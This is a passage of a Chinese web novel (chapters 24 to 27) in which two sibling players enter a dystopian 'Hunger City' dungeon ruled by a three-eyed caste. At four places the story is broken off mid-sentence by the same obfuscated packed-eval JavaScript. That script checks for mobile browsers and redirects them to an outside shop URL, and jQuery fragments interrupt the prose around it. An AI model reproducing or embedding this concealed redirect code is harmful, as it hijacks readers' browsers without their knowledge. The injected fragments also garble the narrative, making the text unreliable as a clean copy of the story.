“不用了。现在的已经够用了,剩余的经验值应该用来买更有价值的东西。”成晏下单了一个【异能增幅技】。 【商品:异能增幅技】 【功能:瞬间恢复50%的异能能量,但会暂时降低san值】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027379|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【价格:1000EXP】 “这个更有性价比。”他说。 “那更有价值的东西是什么?” 成晏点开【特殊道具区】,目光停留在那个名为【下个副本的线索】的商品上。 他购买了两个,耗费了6000EXP。 【恭喜获得下个副本的关键道具:盲盐】 【道具效果:抹在眼眶周围会短暂性变“盲”,效果持续大约1-2小时】 【副作用:痛、流泪、视物发虚,过量可能造成角膜损伤或持续弱视。】 【恭喜获得下个副本的关键词提示:止饥季】 “盲盐?”阮时卿拿起那一小管夹杂着细沙与白色结晶的玻璃瓶晃了晃,“什么叫变盲?涂上之后真的会瞎吗?” “不确定。”成晏没有闲下来,而是立马打开玩家论坛板块,“搜一搜就知道了。” “哇,哥你真是天才。”阮时卿将道具收回背包后凑过去,“那这6000经验值花得很值了!” 无数的帖子标题像瀑布一样在光屏上滚动刷新。 【置顶】【官方】游戏Ver2.0更新公告&玩家论坛使用守则 【八卦】【HOT】我靠!排行榜第一第二那两个SSS+的怪物是谁啊?! 【情报】关于S级副本“寂静之岭”的几点猜想,附部分怪物图鉴(需付费解锁) 【交易】丧尸副本出售C级火系Evol技能书,换取药品或食物!坐标城西安全区! 【求助】我队友好像被寄生了,我该怎么办?在线等,很急! …… 成晏只是略微扫了一眼那些标题,便点进搜索框打下了“止饥季”这三个字。 无数帖子争先恐后地涌出,其中热度最高的帖子赞高达1万。 标题:【避雷】刚从饥饿副本出来,太掉san了!现在一看到人就想吐! 楼主[精神状态良好的尸体]:千万别去!除非你是为了减肥!本来以为是普通废土本,结果是恐怖本……NPC全是疯子,最恶心的是那些人,我最后是因为一直盯着一个NPC看,直接被爆头送出来了,真的是生理性不适…… 1L:同感……我也被坑了,那个“食种录取通知书”做得跟金榜题名一样,我真以为是去享福的。 2L[楼主]回复1L:笑死我了,姐妹你还好吗? 3L:我的爱人也是去了这个副本,但是为什么到现在还没出来?已经进去一年了! 4L回复3L:那大概可能是出不来了。 5L回复4L:什么意思?死了吗? 6L回复5L:不一定。 7L:别提了,为什么进个副本还要学数学?以为世界末日了终于可以离这些远点了,没想到数学还要挑衅我! 8L:千万别往城外跑! 9L:有人搞到那个叫“盲盐”的道具吗,好像很关键? 10L:楼上谜语人滚出论坛。 12L回3L:一年都没出来,多半是被◆◆了,节哀! …… 【系统提示:距离传送下一副本还剩10s,倒计时9s,8s,7s……】 “别怕。” 也许是感受到了她的恐惧,成晏一如往常地伸出双臂,将自己最柔软的地方袒露出来,化作消除恐惧的温床。 “有哥哥在。” 【倒计时1s……】 又是一阵天旋地转,阮时卿逐渐失去了对所有的感知,包括那句话语的余温。 【副本类型:饥饿纪元】 【副本难度:A级】 【通关条件:作为编纂官撰写一次食种名单,完成止饥季活动。】 【玩家代号005身份已载入,祝您游戏愉快!^^】 25. 饥饿城 极度干燥的空气灼烧着口鼻,有极小的颗粒渗进来贴在鼻腔内壁,胸口一阵阵发闷。 渴。好渴。 眼前似乎是一望无际的黄沙。 背上好像拖着什么东西,阮时卿感觉自己好重,黏腻的汗水宛若秤砣,拽着她的脚陷进黄沙,直到寸步难行。 巨大的悲悯混着凝固的血滴从额顶流下,天边传来声声遥远的嗡鸣。 沉重的意识像收拢的蛛网,放纵流沙灌进她的眼睛,她的第三只眼睛…… “卿卿,醒醒。” 熟悉的低语将她从噩梦边缘拽了回来。 阮时卿猛地睁开眼睛,首先便看到一片黯淡无光的积灰天花板。 冰凉的硬物轻轻抵在唇边,是水杯。 她转头,发现成晏正站在床边的楼梯上担忧地看着她,“喝水。” 水杯立刻被她接过猛地灌进一大口,然而水只有半杯,带着生锈的铁味和淡淡的咸涩。 “还有吗?”她擦着唇边的水渍问道。 “还喝什么水?家里配额就这么多,要不是你哥非要拿出来给你,连半杯都没有。” 一个男人不满的声音从旁边的地面上传来,她循声望去,这才发现自己睡在上铺,身下是一块僵硬的铁板,硌得她难受。 她又瞥了一眼不远处的窗外,天还没亮。 成晏没有理会那个男人,扶着她起身,“来,先穿衣服。” 说完他拿过旁边衣架上一套灰色的连体服递给她,和他身上穿的那套几乎是一模一样,除了尺寸。 阮时卿很快穿上,发现自己左胸口的位置还有一个编号——β-30477。 成晏转身的时候左胸口似乎也有个编号。 她猜应该跟身份标识有关。 她下来后仔细打量了一下,整个屋子狭小昏暗,墙壁都是混凝土,像是刚打的毛坯房,除了这里的正室只有一处厕所,室内的陈设单调得可怜。 倒是让她想起来他们最初的那个出租屋。 一个女人和男人并排坐在旁边靠墙铁桌旁,手上拿着一团灰褐色的软膏,似乎是在进食。 他们一样穿着灰色的连体服,胸口处都是β开头的一串数字。 成晏领着她去了厕所,他们停在门边悄悄对了个眼神。 “他们是谁?”阮时卿用气声问。 “副本内的父母。”成晏同样用气声回答,“我们在饥饿城内,这里似乎很严格,先看看情况,不要轻举妄动。” 那就说得通了,他们是一家四口,住在同一片空间。 阮时卿点点头,成晏欣慰地帮她拢了拢耳边的碎发,“先洗漱吧,等会出来吃东西。” 在这个副本里,她的头发剪短了,短到与耳廓平齐。 厕所内只有一个滴滤水龙头,下面用脸盆接着,只能流出来一道极细的水柱,几秒后便没了,得等许久才能等到下一股水流出来。 这就是所谓的配额吗? 根据常识推测,他们家应该特别穷。但她还没有弄清这个副本逻辑,不敢轻易论断。 马桶上有个按钮,但按下后不会有水出来,而是伴随着巨大的气压抽气声,排泄物全被吸走。与此同时,会有一股奇怪的香氛味从排风口弥漫出来。 ……应该也是为了节省水资源。 厕所里连镜子都是一小块被打碎的玻璃,映出她瘦得突出的颧骨。 资源应该是这个副本极其短缺的东西。 她点开自己的属性面板看了一眼。 【代号】005 【生命值】88% 【san值】60% 【污染值】5% 【异能】听觉增强,中级,100% 【buff】同心戒,躯体重塑:抗饿能力提升 怎么san值比生命值还低?! 她精神状态有那么差吗?好像也没受什么刺激啊…… 阮时卿带着疑惑出来坐在成晏身边。左手偷偷伸到桌下去寻他的,还没伸到就被他反握住了。 他的指腹很粗粝,刮蹭过皮肤时有些痒,阮时卿轻轻挠了下他的掌心,却在五指交缠中不小心十指相扣。 她想收回手,却被他更用力地扣紧,动弹不得。无名指上的戒圈轻碰在一起,带来一股十分奇异的感觉,他的手要比她大得多,像是将她包在掌心。 不过很快就松开了。 阮时卿面前的桌子上摆着两块同样的软膏固体,包装上标有“第九合成厂”五个大字,名称为“标准营养膏”。 她拆开包装,试着咬了一口,满嘴都是香精的味道,口感不算特别软,很有嚼劲,吃不出来成分是什么。 “你今天要迟到了。”坐在对面的女人突然朝她说了句,眉眼却很麻木。 迟到?什么迟到? 阮时卿正疑惑着,脑子里突然有系统的声音响起。 【系统提示:你是浮生城内一名普通的四等公民贝塔,目前正处于饥饿城六年通识教育的最后一年,即将年满十八周岁。】 浮生城?贝塔? 她拧了拧眉。 看来这个副本应该对人群有很明确的阶层划分,她和成晏都是贝塔。而浮生城则应该是饥饿城的某片区域。 任务目标是成为编纂官,撰写食种名单,完成一次止饥季活动。 那么接下来她需要先弄清楚编纂官是什么阶层,以及打探止饥季相关的消息。 “我马上。”她嚼着嘴里的软膏含糊不清地说。 “后天就是升班考核,考完之后跟我去第九厂熟悉熟悉,或者跟你妈去尘壁区配额所交班。你选一个。”男人又开口了,语气很淡,却有很强的命令味道。 第九厂应该就是包装上写的第九合成厂。男人应该在那里上班,而女人则在配额所工作。 “升班考核?”她艰难地吞咽下膏体,疑惑发问,“考完不就升班了吗?还需要工作?” 男人和女人突然都直直地朝她看过来,麻木的眼神无机质地扫过她的脸,像是在审视。 不得不说那一刻阮时卿确实有点害怕,但很快就被他们眼球边缘一圈淡淡的橙光吸引了注意力。 那是什么? 女人一声质疑将她拉了回来,“你自己什么水平不知道?怎么可能入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17038759|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了高阶班。” 男人点点头,“高阶班都是预备阿尔法。你要是考得上我们家所有配额都紧着你用。” “哦。”阮时卿暗自窃喜,又获得了一个信息。 看来这个阿尔法是阶层更高的存在,就是不知道和编纂官有没有关系。 男人像是突然想起来什么似的,咂巴了一下嘴,对阮时卿说,“半个月之后浮生城会展开一季一度的争当食种演讲比赛。77,听说你口才好,去报名。冠军直接入选食种名单,那可是天大的好事。” 阮时卿愣了愣,77,是在指她吗? 她突然想到自己的编号末尾好像是77。她立马低头看了一眼,得到了确认。 难道这个副本的人都没有名字吗? “我们家配额还剩多少?” 成晏的声音突然响起,将话题引开。 “够我们用到下个月止饥季之前,并且还有富余,不用担心。” 女人突然一改之前的麻木神情,嘴角漾起一圈笑容,“多亏了你们爷爷。我们接下来一年都不用再像以前那样过紧巴日子了。” 男人没有说话,不过他们不约而同泛起同一种欣喜的笑容,像有人突然给他们换了张面皮,看得阮时卿头皮发麻。 下个月止饥季,她又得到了关键信息。 所以配额和止饥季有关。止饥季应该对整个饥饿城的人们都很重要。 很快他们便吃完了早饭,成晏要送阮时卿去学校。 “带上这些,你要在学校吃午饭。”他拿过三个标准营养膏装进一个布袋里,阮时卿却提不起什么兴致。 难道每餐都吃这样的东西吗? 成晏似乎看出了她的想法,像变戏法似的偷偷往袋里塞了好几包香肠和瓶装水。 阮时卿眼睛一亮,“你用了……” “嘘。”他做了个噤声的手势,然后附在她耳边悄悄说,“营养膏装上面,其他偷偷吃。” “回来还有。”说完便揽着她的肩往外走。 一打开门一股风沙便直往里灌,两个人迎面和大量沙砾来了个亲密接触,还是成晏反应快点,率先用手肘横在她面前挡住。 阮时卿转身一看,发现他吹得满脸满耳都是沙子,笑得停不下来。 成晏也没忍住笑了,阮时卿也好不到哪去。 “看来饥饿城是一座风沙之城。”她看着头顶被灰黄遮蔽的天空,突然又有些低落,“难怪这么缺水。” “所以门旁边这几个面巾是给我们戴的。”成晏扯过旁边架子上剩下的两个灰色面巾,给阮时卿戴好。 她的整张脸都隐藏在面巾下,除了那双灵动了眼睛。 “这样是不是好多了?”成晏隔着面巾轻刮了下她的鼻尖。 结果阮时卿突然目光灼灼地凝视着他,甚至还主动踮起脚来往他脸上凑。 不知是谁的心跳突然乱了。 成晏的瞳孔微微放大了一瞬,却没后退,“怎么了?” “哥,你的眼睛……” 她的脸庞在视线里逐渐放大,直至占据他整个视野和呼吸。 指上的戒环在发烫。 26. 升班考核 浮生城位于饥饿城的外环,靠近城外的风沙废土。 街道大约三米宽,是没有修整过的黄土路,路面布满了一层薄沙,这里没有交通工具,只有最原始的手推车。 道路两旁是鳞次栉比的蜂巢式公寓,无数封闭的窄小窗口密密麻麻地排列在一起,承载上万贝塔家庭。 仰头是被虫蚊沙幔充塞的天空,脚踩地面干燥的黄土,这里到处都是黄色,人们带着同样黄色的脸在行走。 几个红色的醒目标语倾轧下来,轻松碾过渺如蝼蚁的人群。 【眼素即真理,服从即秩序。】 【饥饿使人清醒。】 人们身穿同样的深灰色连体工装,目光直直地朝着前方,迈着统一的步子朝某个方向赶去,彼此擦肩而过,很少交谈。 阮时卿却无法不注意他们的眼睛——和成晏一样,眼眶周围泛起一圈极淡的光晕。 成晏是浅蓝色,而其他人大多是浅黄色,但也许只是环境光的反射。 但奇怪的是,成晏并没有像她一样看到。 他们走在街道的边缘,脚底在摩擦中发出沙沙的声响。路人不时扫来一眼,又很快瞥开。 “他们都是贝塔。”成晏突然出声。 “怎么看出来的?” “衣服,还有他们的编号。” 阮时卿明白了,浮生城是贝塔的聚居区。他们是较为低等的公民,所以生存环境也较差。 就在出门前,他们交换了信息,成晏的任务目标和她一致,只要他们有一个人完成任务即可通关副本。 但由于目前对副本信息知之甚少,他们打算先观察一天再制定计划。 步行穿过一个街区后阮时卿终于发现了一处监察哨亭。 一个穿着与他们截然不同的纯白色制服的高大男人正站在亭内。他的左胸口也有个编号。但距离有点远阮时卿看不太清。 他的手上拿着一根长约60cm的纯白金属棍,气势凌厉,看着不太好惹。 周围的人似乎早已习惯这样的监察,低着头只顾自己行路。 阮时卿观察得久了一些,不禁放慢了脚步。结果突然对上男人转动过来的瞳孔,一股森然的审视自上而下笼罩而来,仿佛穿透她的眼睛,看到了最深处的秘密。 又来了。 他的眼眶周围也有一圈淡淡的光晕,只不过更沉更暗,也更有压迫感。 揽在她肩上的手适时收紧,将她往怀里带了带。 “没事。”低沉的声音唤醒了她的理智,成晏抬了抬手肘,刚好挡住她的视线,“他不会对我们怎么样。” 男人的目光果然很快就移开了,阮时卿却仍然心有余悸。 “你,站住。” 男人突然伸手指向阮时卿身后一个青年,编号是β-5148。 就在男人抬手的那瞬间,阮时卿的瞳孔骤然一缩。 她看到了一只眼睛。 就在他的掌心。 她试着悄悄发动异能,利用声波确认了自己的猜想,并且她还发现他的眼球深处有一团隐秘的能量,充满了戾气。 成晏及时将她揽至身前,避免被波及。 青年停下了脚步,弯腰敬礼,“尊敬的阿尔法长官,有什么事吗?” 阿尔法?原来监察亭里的男人是阿尔法? 阮时卿压下心中巨大的骇然,眼睁睁看着男人拿着金属棍从监察亭中走出来,立在青年面前。 “5148,抬起头来。”男人冷哼一声,用金属棍强硬地挑起青年的下颌,逼得他不得不直视自己的眼睛。 不知看到了什么,青年大惊失色,浑身止不住地颤抖。 “你吞食同类,成为污染者,违反了《饥饿守则》。”男人十分自信地定下判决,然后将手中的金属棍抬起,冰凉的棍棒贴着他的脸侧移至眼旁。 “现在,我将直接实施对你的处罚。” “阿尔法长官,我……”青年还没来得及狡辩,便惨叫一声,两个眼球瞬间爆裂,眼眶变得空空荡荡,倒在地上嚎哭着。 “这些污染者真是太猖狂了。” “还是阿尔法长官厉害,浮生城少了他们不行!” “走吧,快去工作。” 耳边传来一些嘈杂的议论,阮时卿大至明白了阿尔法的地位。 很快就有人将青年带走。至于带去了哪里,她猜不到了。 不过她注意到,那个阿尔法手中的金属棍顶端不是金属,而是一段透明的晶体管,里面封存着发着幽幽白光的液体。 这到底是怎么用的?还有吞食同类和污染者是怎么回事? 阮时卿抬头,对上了成晏同样凝重的目光。 她就知道他一定也看到那个阿尔法的第三只眼睛了。 “难道有三只眼睛的人就是阿尔法?”她疑惑道。 “有可能。那个金属棍应该是某种刑具。” “嘶,那这第三只眼睛是哪来的呢?还有那个光……” “好了,先别想了,反正一时半会想不明白。”成晏语气轻松,拉着她步履不停,“不过等会到了学校你要多注意,我不在你身边,一切以自己的安全为重。” “好。我们说好的今天只观察。” 他们很快就到了整个浮生城相对来说最繁华的区域,建筑都高大了不少,这里有学校有医院还有阿尔法高塔。 阿尔法高塔应该是监察岗的另一种形式,相当于管理中心。 “对了哥,等会你去哪?”阮时卿进去前没忘了问。 “系统提示说是盲带隔离墙,我会去那里帮工。”成晏帮她整理好衣领,将手上的包递给她。 “盲带是哪里?危险吗?” “是饥饿城最外圈。听上去是有点危险,不过你哥我怎么会让自己有事,放心。” “臭屁。你最好今晚上完完整整地来接我,一条胳膊都不能少。”阮时卿严肃认真地说。 “好好好,快去吧。” 她往里走了好久,又突然想起来什么,回头一看,发现他还倚靠在门口注视着她离去的背影。 看到她回头,他似乎才反应过来,招了招手。 “记得带好吃的。”她用口型说。 看到他比了个OK的手势,阮时卿这才心满意足地离开。 记得以前一起放学也总是这样缠着他买各种路边摊,一开始的借口是说学校饭菜不好吃,后来变成了晚上没吃饭,再后来就是理直气壮的口馋。 毕竟每一次他都会纵容,根本不需要借口。 …… 学校是按照旧时教学楼建造的,占地面积较大,但很多栋楼紧挨在一起就显得格外拥挤。内部无绿化,也没有操场,更没有娱乐设施。 浮生城所有的贝塔都会来这接受教育。他们都穿着一样的深灰装,不分男女,头发剪短到耳廓,没有任何辨识度。 阮时卿不知道教室在哪,但跟着人流走总没错。并且她仔细观察了一下,没有人再有第三只眼睛。 “让开让开,你们这些普通班的贝塔不要挡路!” 几乎是声音出现的同一时间,人群自动避让开一条宽敞的路来。 阮时卿循声望去,十多个穿着同样衣服的贝塔迎面向人群走来。但每个都容光焕发,看起来比他们要健康,脸上带着一股明显的傲气。 他们每个手上都拿着一柄银白色的金属流线型仪器,顶端有个吸纳式的漏斗装置,不知道是做什么用。 “是高阶班的预备阿尔法!他们今天又要去上实践课了吗?” “听说是剥夺处刑课现场模拟,为下个月的止饥季做准备呢。” 阮时卿不动声色地听着,没有出声。 十多个贝塔趾高气昂地走过以后,人群并没有自动合拢,反而因一个人的到来气压变得更加低沉。 一个身穿纯白色精致制服的女人,长发,肩上有鎏金的纹路,左胸口的编号是α-1241。 “41教官好。”其他人纷纷开口。 女人只是略微一点头,走在那刚才那几个经过的贝塔身后。 阮时卿没有说话,但她猜这个女人应该就是高阶班的带教官。 擦身而过的瞬间,女人后颈的皮肤突然无声裂开。没有血,只有一颗硕大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047764|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼球从皮肉下硬生生挤了出来。惨白的眼白占据了眼眶的三分之二,没有眼皮遮挡,漆黑的竖瞳湿漉漉地盯着阮时卿。 不,应该说“她”睁开了眼睛。 阮时卿点开自己的属性面板看了一眼。 【代号】005 【生命值】90% 【san值】55% 【污染值】5% 【异能】听觉增强,中级,98% 【buff】同心戒,躯体重塑:抗饿能力提升 san值又掉了。 现在她终于知道那个帖子所说的由于盯了太久被爆头送出来的感觉了。 后来她急忙赶到了教室,结果是最后到的几个,那时刚好是七点过一分。 教室很大,却没有讲台课桌和黑板,只有最中央立着一个金属架台,架台上有一块巨大的透明显示屏。 所有贝塔都靠墙围坐在椅子上,身前没有任何遮挡物,中央十分空旷,角落里守着一位阿尔法。 他的第三只眼睛在嘴唇下方,时时刻刻转动着。 一位贝塔老师立在金属台前,面无表情地宣布,“β-304077,你今天迟到了,上台来宣读《饥饿守则》,另,扣除今天的配额。” 话音刚落,阿尔法便走过来直接将阮时卿带来的布袋夺走了。 她并没有反抗,而是迎着众人异样的目光走到台前,屏幕上显示着密密麻麻的条文,她十分冷静地读了出来。 “《饥饿守则》第一条,我是贝塔,贝塔是饥饿城的脊梁; “《饥饿守则》第二条,欧米伽阿尔法至上,不可直视他们的眼睛; “《饥饿守则》第三条,饥饿是常态,配额是恩典; “《饥饿守则》第四条,食种神圣不可侵犯,选中是荣光……” 一共十条,阮时卿一字不落地读了出来,然后回到了自己的位置。 很快贝塔老师在台前将上次模拟测的成绩调了出来。 阮时卿一眼就看到了自己的排名——倒数第三。 【β-304077】 【基础通识课:2分】 【眼谱甄别课:0分】 【综合素质评价:F等级】 “第一名,β—9914。” 喊到的女生就坐在阮时卿左边,她十分骄傲地迈步到台前,接过老师递来的三支固体软膏。 “这次发挥得很好,继续保持。”老师向她点点头。 “天呐,那可是高级营养膏!” “高级营养膏算什么,等9914到了高阶班,这都算普通配额了。” “也是,那都是阿尔法应得的。” 众人七嘴八舌地讨论起来,不过大多是惊叹和艳羡,没有任何的不满情绪。 阮时卿倒是没在意这些,她正在确认一件事情。 “升班考核在即,最终只有一人能够通过,所以我推荐这次模拟测的前十名参加,剩下的明天上完课后便可以直接毕业了。不过这次模拟测的最后几名要留下来补课。” 老师根本没有给众人反驳的机会,便继续道,“好,我们今天来观看一个……” “老师,我有问题。” 一个声音突然打断了她的讲话,她恶狠狠地瞪向声音来源。 其余人讶异的目光全都落在了阮时卿身上,似乎都不理解她为什么突然插话,他们早已习惯了服从。 枪打出头鸟。 “β-304077,你有什么问题?” “后天的升班考核,我申请参加。” 不知是谁先憋不住嗤笑出声,慢慢的,这样的嗤笑逐渐汇聚成刺耳的哄笑。 “这也太不自量力了吧。” “她这次不是倒数第三吗?还要留下来补课。” “连通识都过不了,还想当阿尔法?” “肃静。”老师拍了拍金属台,双手抱臂踱步到阮时卿面前,身体微微向前倾斜,以一种十分压迫的姿态,“给我个理由。” 阮时卿直接站起身来,不卑不亢道, “老师,我能看到你的眼素谱。” 27. 眼素谱 室内顿时鸦雀无声。 所有贝塔不约而同瞪大了眼睛。目光如有实质般凝聚在她一人身上,大多是嫌恶、恐惧、震惊…… “这不可能!”有人义愤填膺地反驳,“你只是个贝塔!” “那是阿尔法的能力!” “她骗谁呢,要是真能看出来至于考0分?” 其他人纷纷附和,面对阶层无法跨越的差距,同类的异常更容易激起他们的不满。 老师倒是没说什么,只是微微后退了几步,眼神黯了黯,嘴角勾起一个诡异的弧度。 面对质疑,其实阮时卿的手心早已被汗水浸湿。 她只能赌一把。 编纂官至少是个阿尔法,通过升班考核进入高阶班是目前看来最好最快的方法。 老师抬了抬手,示意阿尔法上前来。 那个眼睛长在下巴处的男人心领神会,拿出了眼素震荡棍——就是阮时卿来时在街上看到的那根60cm纯白色金属棍,使污染者眼球爆裂的刑具。 “你要干什么?!” 男人步步紧逼,阮时卿不得不提防,情急之下她摸遍了全身,不仅摸不到口袋,也找不到任何可以用来防御的武器。 男人伸出左手,按住了她的肩头,却被她一掌劈落,眼里闪过一丝讶异。 有人倒吸一口凉气,“天呐,她竟然敢攻击阿尔法!” “除了污染者,没人敢这么做!” 男人直接下令,“按住她!” 众人纷纷起身将阮时卿包围,并且从两侧擒住了她的手臂。纵使她力气再大也躲不过这么多人的堵截。 阮时卿索性不抵抗了,就这么直白地盯着他。 阿尔法俯身逼近,下巴的皮肤无声裂开,一只充血的眼球挤了出来,高高鼓胀,湿漉漉地悬停在距阮时卿鼻尖仅一厘米处。 它在观察她。 然而一分钟过去了,没有任何动静,他的眼球开始因干涩而不安地转动。 众人开始疑惑,“阿尔法长官,您为何不直接处刑?” 就连老师也紧蹙起眉头。 阮时卿看出了男人的窘迫,笑了笑,甚至把脸凑得更近了一些,让他看的很清楚。 他的瞳孔却骤然一缩,猛地退开好几步,像受到了什么巨大的冲击。 “她不是污染者!”阿尔法收起眼素震荡棍,信誓旦旦地说,“她的眼素很干净。” “不是污染者?” “啊那怎么可能……” “她怎么敢……” 趁众人愣神之际,阮时卿只稍一用力便挣脱开桎梏。 就在刚刚她阅读《饥饿守则》之时,她读到了“眼素即真理”,一个奇异的想法便闪过脑海。 这座饥饿之城,不如称之为眼素之城。 眼素也许就是她观察到的那团光,成绩单上的【眼谱甄别课】更是让她确定了自己的想法——每个人都有自己的眼素谱,相当于身份证,编号就是给这个身份盖的章。 而这正是区分阶级最重要的依据,专门设置这样的课程足以证明眼素谱的重要性。 所以她通过异能,强行将观察到的眼睛深处的那团能量拆解开来,发现的确是一个可视化图谱,不过这样操作之下异能消耗很快。 她在赌,普通的贝塔看不到眼素谱,所以她刚才铤而走险说出了那番话。 事实证明她是对的。 贝塔的确看不到眼素谱,只有阿尔法或者污染者可以。 但污染者和阿尔法之间的关系正是她现在的疑点,“污染者”到底“污染”在哪里?污染者为何要吞食同类? 不为《饥饿守则》和饥饿城认可的污染者处于这个社会的阶层之外,会不会也是通关副本的关键? 老师有些尴尬地挥了挥手,示意其余人都回到座位上,让阮时卿留了下来。 “304077,你如何证明你能看到我的眼素谱?” “给我一张纸和笔,我可以画下来。” 众人神色各异。 末了,阮时卿又补充道,“但我有个条件。” “说。” “把我的配额还给我。” 老师点点头,“好,如果你撒谎,我会向阿尔法长官申请对你进行集体审判。” “没问题。” 阮时卿被带到了一个单独的空间,里面只有一张桌子和一把椅子,桌子上放着一张空白的纸和24色彩铅以及橡皮。 那位贝塔老师就站在她跟前,居高临下地看着她。 “一个小时,超时也算你不通过,计时开始。” 阮时卿没有异议,她立刻闭上眼睛发动技能:声波共振,深入到女人眼睛内部捕捉那团复杂的能量。由于她发动了大量异能,拆解的过程很快。 很快她睁开了清明的眼睛,将脑海中的图画一笔一笔描摹下来。 还好小时候在成晏的支持下她练过一段时间画画,学会了运笔和勾勒线条。她画的火柴人还被成晏裱起来挂在了墙上。 黑色的铅笔在她手中率先勾勒出一个巨大的椭圆轮廓,然后分别勾出里面两圈浅淡的底线,整个图形几乎占据了整张纸。从远处看,就像一只白瞳之眼。 最外圈被她涂满了浅黄色波纹,这个过程是最简单最顺利的,只用了五分钟。 第二圈嵌入到眼白和眼瞳的界限,由于画面中锯齿的形状分布密集且十分不均匀,阮时卿必须集中所有注意力观察,以至于手有些抖,额上也渗出了细细密密的汗渍。 “咚”“咚“咚”,女人踩在地板上踱步声不间断地传来,像死亡的钟点。 阮时卿花了三十分钟完成第二圈。 第三圈,在瞳孔中央,小而精细,它是一段跃动的波谱,像心率的起伏线,有着严格的波长和振幅。 “啪——” 画到第三段波谱时因为太用力笔头断裂,弄脏了原本平滑的线条。 女人勾唇一笑,提醒道,“还有最后五分钟。” 阮时卿深吸一口气,用橡皮擦去这一整段波谱,重新描线。 她讨厌考试的紧迫感。 但她不会慌。 “倒计时三秒,”女人死死盯着她握笔的手,“3,2,1——” “啪。” 笔被阮时卿拍在桌面上,“完成了。” 她浅浅一笑,对上女人震惊的目光,“请阅卷。” 这时,房间的门口被推开,那个第三只眼睛长在后颈的长发女人,所谓的“41教官”踏门而入。 “41教官您来了。”女人似乎也没料到来的人会是她,立即谄媚相迎。 “听说有位普通班的贝塔能看到眼素谱,”41教官挥了挥手,将目光凝在还坐在椅子上的阮时卿身上,“我来看看。” 阮时卿假装不认识她,小心翼翼地保护好卷面。 41教官走到她跟前,打量起她画的图形,目光逐渐由戏谑转为讶异和欣赏,她无法想象有人真的能手绘那么复杂的眼素谱。 “简直是一模一样。” “你真的只是普通的贝塔?”她双手撑在桌上,俯身靠近,犀利的目光几乎要将阮时卿全身穿透。 “阿尔法长官,”阮时卿一脸无辜地说,“我这也是没办法,毕竟有人不让我参加升班考核。” 41教官愣了下,似乎明白了什么,抱臂起身,“后天的升班考核,我亲自监督。你必须参加。” “304077。” 她默念了一遍编号,然后离开了房间。 那位贝塔老师对阮时卿的态度简直是一百八十度大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056031|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转弯,不仅将配额还回来了,还说会对她进行一对一辅导。 阮时卿知道,在她们眼中,她已经是预备阿尔法的一员了。但她没想到的是,一个阶层的跨越竟然会有这么大变化。 那天,她主动要求贝塔老师带她复习基础通识课程,废寝忘食,直接学到了下午放学的时候。 她把所有必记的知识点全部都抄录在小纸条上,方便回家背诵,毕竟留给她的时间不多了。 不过对于期末周一晚速通一门专业课的她来说,这也不算什么。 “他们说饥饿城的起源是在几千年前,由于地表荒漠化,风沙侵蚀,资源枯竭,人类几近灭绝。 “传说中有一个女人为了让所有人不再挨饿,一手缔造了饥饿城,开启了饥饿纪元。她被后人尊称为饥饿之母。 “我好好奇这个饥饿之母长什么样子啊。” 阮时卿一边嚼着手里的香肠,一边把纸条上的小人举到成晏面前,“她这么厉害,肯定有过人的头脑,孔武有力的身体和洞彻人心的眼睛!” 成晏接过纸条看了眼,忍不住笑出声,“画的不错,就是跟人搭不上边。” 阮时卿也不恼,继续嚼嚼嚼,“我今天……算是把整个饥饿城摸透了,饥饿城……就是一个巨大的环形城市。从里到外分别是止饥塔、琉璃城、千目廊、浮生城、尘壁区和盲带。 “这个止饥塔,就是传说中饥饿之母住的地方,琉璃城是二等公民欧米伽的集中区,千目廊是三等公民阿尔法的集中区,尘壁区是五等公民伽马的集中区,至于这个盲带……” 成晏从厕所端来水盆,撸起袖子拧干毛巾,听到这朝坐在他床上的阮时卿看过去,“盲带怎么了?” 阮时卿悄悄凑过来,“哥,你今天不是去那边了吗,有没有发现什么?” “盲带在隔离墙以外,我看不到那边的情况。” 